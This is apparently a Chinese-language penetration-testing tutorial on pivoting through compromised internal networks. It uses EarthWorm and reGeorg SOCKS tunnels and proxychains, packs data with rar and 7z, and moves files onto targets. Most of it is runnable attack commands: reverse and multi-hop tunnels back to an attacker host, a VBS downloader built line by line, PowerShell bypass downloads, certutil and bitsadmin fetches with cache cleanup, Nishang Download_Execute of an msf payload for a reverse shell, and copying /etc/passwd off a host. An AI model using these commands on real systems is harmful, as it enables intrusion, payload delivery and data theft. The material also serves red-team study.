'SOCKS代理及数据压缩及上传和下载'

SOCKS代理

常见网络环境:
1、内网可以访问外网。
2、内网可以访问外网,但服务器安装了防火墙拒绝敏感端口连接。
3、内网无法访问外网,但开放了部分端口(例如80端口)。

工具介绍与安装

1、EarthWorm(ew)
便携隧道工具,具有SOCKS5服务架设和端口转发两大功能,可实现网络穿透。
支持正向、反向、多级级联等方式,支持多个操作系统(linux、win、mac os、ARM-linux)
下载链接https://github.com/rootkiter/EarthWorm
新版https://github.com/rootkiter/Termite

2、reGeorg
功能:把内网服务器的端口通过HTTPS/HTTPS隧道转发到攻击机,形成回路。
可以使目标服务器在内网中(或在设置端口策略情况下)连接内部开放端口。
利用webshell建立一个SOCKS代理进行内网穿透,服务器必须支持ASPX、PHP、JSP。

3、SocksCap64
windows全局代理工具https://www.sockscap64.com/homepage/
可使windows应用程序通过SOCKS代理来访问网络,无需对应用进行修改。

4、porxifier
全局代理软件,提供平台的端口转发与代理功能,适用于win、linux、mac os平台。
链接:https://pan.baidu.com/s/1HGHgZjYbotXuRiYFjAFd6g 提取码:7g76

5、proxychains
linux全局代理工具,稳定、可靠,允许TCP和DNS流量通过代理隧道,支持HTTP、SOCKS 4/5类型代理。(kali自带)
http://proxychains.sourceforge.net/

在网络环境中的使用

1、ew的使用

(1)目标机架设连接端口(目标拥有外网IP)
ew -s ssocksd -l 888

(2)反向代理(目标无外网IP)
环境架构:

攻击机:
ew -s rcsocks -l 1080 -e 8809
中间机(WEB服务器):
ew -s rssocks -d 192.168.1.1 -e 8809
然后就可使用代理工具(porxifier或SocksCap64)访问内网

(3)二级网络环境(a)
当前状态:拿到WEB服务器和10.10.10.3的控制权限,环境架构:

10.10.10.3命令:
ew -s ssocksd -l 888 开启代理隧道
WEB服务器命令:
ew -s lcx_tran -l 1080 -f 10.10.10.3 -g 888 连接隧道
然后就可使用代理工具(porxifier或SocksCap64)配置代理:192.168.1.1:1080访问内网

(4)二级网络环境(b)
当前状态:拿到WEB服务器和10.10.10.3的控制权限,环境架构:

kali执行:
ew -s lcx_listen -l 10800 -e 888
10.10.10.3执行:
ew -s sscocksd -l 999
WEB服务器执行:
ew -s lcx_slave -d (kali的IP) -e 888 -f 10.10.10.3 -g 999
然后就可使用代理工具(porxifier或SocksCap64)配置代理:(kali的IP):10800访问内网

(5)三层网络环境

kali执行:
ew -s rcsocks -l 1080 -e 888
WEB服务器(192.168.1.1)上执行:
ew -s lcx_slave -d (kali的IP) -e 888 -f 10.10.10.3 -g 999
内网WEB服务器(10.10.10.3)上执行:
ew -s lcx_listen -l 999 -e 777
内网服务器(192.168.0.1)上执行:
ew -s rssocks -d 10.10.10.3 -e 777
然后就可使用代理工具(porxifier或SocksCap64)配置代理:(kali的IP):1080访问内网

linux下使用proxychains实现内网漫游

配置代理
vi /etc/proxychains.conf
删除dynamic_chaim前面的注释符

socks5 127.0.0.1 1080
验证是否成功:
proxyresolv www.baidu.com
若显示未找到命令的提示信息,则执行以下命令后再执行验证命令
cp /usr/lib/proxychains3/proxyresolv /usr/bin
我这里没有去配置代理,正常情况下应该显示"OK"

使用代理启动其他程序:
proxychains firefox

压缩数据

RAR

如果目标机安装了即可直接使用;若未安装,在本地安装后上传rar.exe到目标机。(操作系统版本必须相同,不然会出错)

命令详解
-a:添加要压缩的文件。
-k:锁定压缩文件。
-s:生成存档文件。
-p:指定压缩密码。
-r:递归压缩,包括子目录。
-x:指定要排除的文件。
-v:分卷打包,适合大文件。
-ep:从名称中排除路径。
-ep1:从名称中排除基本目录。
-m0:存储,添加到压缩文件时不压缩文件。
-m1~-m5:根据数字大小,数字越大压缩速度越慢,但压缩方式最好。
e:解压到当前目录
x:解压到指定绝对目录

1、以RAR格式压缩/解压
将webs下所有内容打包成1.rar加到webs下
rar.exe a -k -r -s -m3 E:\webs\1.rar E:\webs
rar.exe e E:\webs\1.rar

2、分卷压缩/解压
分卷压缩API目录下所有文件及文件夹,设置每个分卷为20MB,结构为test.part1.rar、test.part2.rar等
rar.exe a -m0 -r -v20m E:\test.rar E:\API
解压
rar.exe x E:test.part1.rar E:\xl

7-zip

下载链接https://www.7-zip.org/

1、压缩\解压
把E:\webs\目录下所有内容打包为1.7z,放到E:\webs\目录下,密码为12345
7z.exe a -r -p12345 E:\webs\1.7z E:\webs
解压
7z.exe x -p12345 E:\webs\1.7z -oE:\x

2、分卷压缩\解压
分卷压缩API目录下所有文件及文件夹,设置每个分卷为20MB,结构为test.7z.001、test.7z.002等
7z.exe -r -v1m -padmin a E:\test.7z E:\API
解压
7z.exe x -padmin E:\test.7z.001 -oE:\xl

上传和下载

利用VBS上传

VBS是windows中基于Visual Basic的脚本语言。
利用VBS上传,主要使用的是msxm12.xmlhttp和adodb.stream对象。
前提:开启server服务器
php -S 0.0.0.0:8080

在shell中依次输入以下命令

1
2
3
4
5
6
7
8
9
10
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://192.168.37.132:8080/load.exe",0 >>download.vbs
echo Post.send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "C:\Windows\Temp\load.exe",2 >>download.vbs

然后执行命令即可下载target.exe
Cscript download.vbs

利用powershell传文件

1
powershell -exec bypass -c (New-Object System.Net.WebClient).DownloadFile('http://192.168.37.132:8080/ping.py','C:\Windows\Temp\ping.py');

利用Debug上传

kali中exe2bat.exe工具位于/usr/share/windows-binaries目录下
(工具只支持小于64KB的文件)
执行命令将ew.exe转换为16进制HEX的形式
wine exe2bat.exe ew.exe ew.txt
使用echo命令,将ew.txt里的代码复制到目标机的命令行环境中,依次执行命令,生成1.dll、123.hex、ew.exe。

使用Nishang上传

下载链接https://github.com/samratashok/nishang.git
原理:利用Nishang将上传的EXE文件转换为16进制的形式,然后使用echo命令访问目标服务器,最后使用Download_Execute脚本下载txt并将其转换位EXE文件。
使用echo命令将Nishang posershell的脚本的内容上传到目标服务器中,并修改扩展名为.ps1
执行以下脚本,利用Nishang中的exetotest.ps1脚本将由msf生成的msf.exe修改为msf.txt
.\ ExetoText c:msf.exe c:msf.txt
接着,通过echo命令,将转换的HEX值添加到目标文件中,再将Nishang脚本文件的内容添加到目标文件中。
最后调用Download_Execute脚本下载并执行该程序
Download_Execute http://192.168.1.1/msf.txt
msf监听端口就可反弹shell

bitsadmin和certutil

用于创建下载和上传进程并监测其进展。(win XP之后系统自带)(推荐在win7、win8使用)
如果渗透测试的目标主机使用了网站代理,并且需要活动目录证书,就可以使用bitsadmin解决下载文件问题。
CertUtil的一个特性是能够从远程URL下载证书或任何其他文件

1
2
3
4
5
6
bitsadmin /transfer 124 http://192.168.37.132:8080/1.txt C:\Windows\Temp\1.txt
PS:124为任务号,且路径必须用'\'反斜杠

certutil -urlcache -split -f http://192.168.37.132:8080/cmd
缺点:会留下缓存,利用del删除缓存
certutil -urlcache -split -f http://192.168.37.132:8080/cmd delete


linux常用下载命令

1
2
3
4
wget http://192.168.37.132:8080/1.txt
curl –O http://192.168.37.132:8080/1.txt
nc我在"传输层隧道技术"里写过文件传输
scp sunian@192.168.37.137:/etc/passwd ./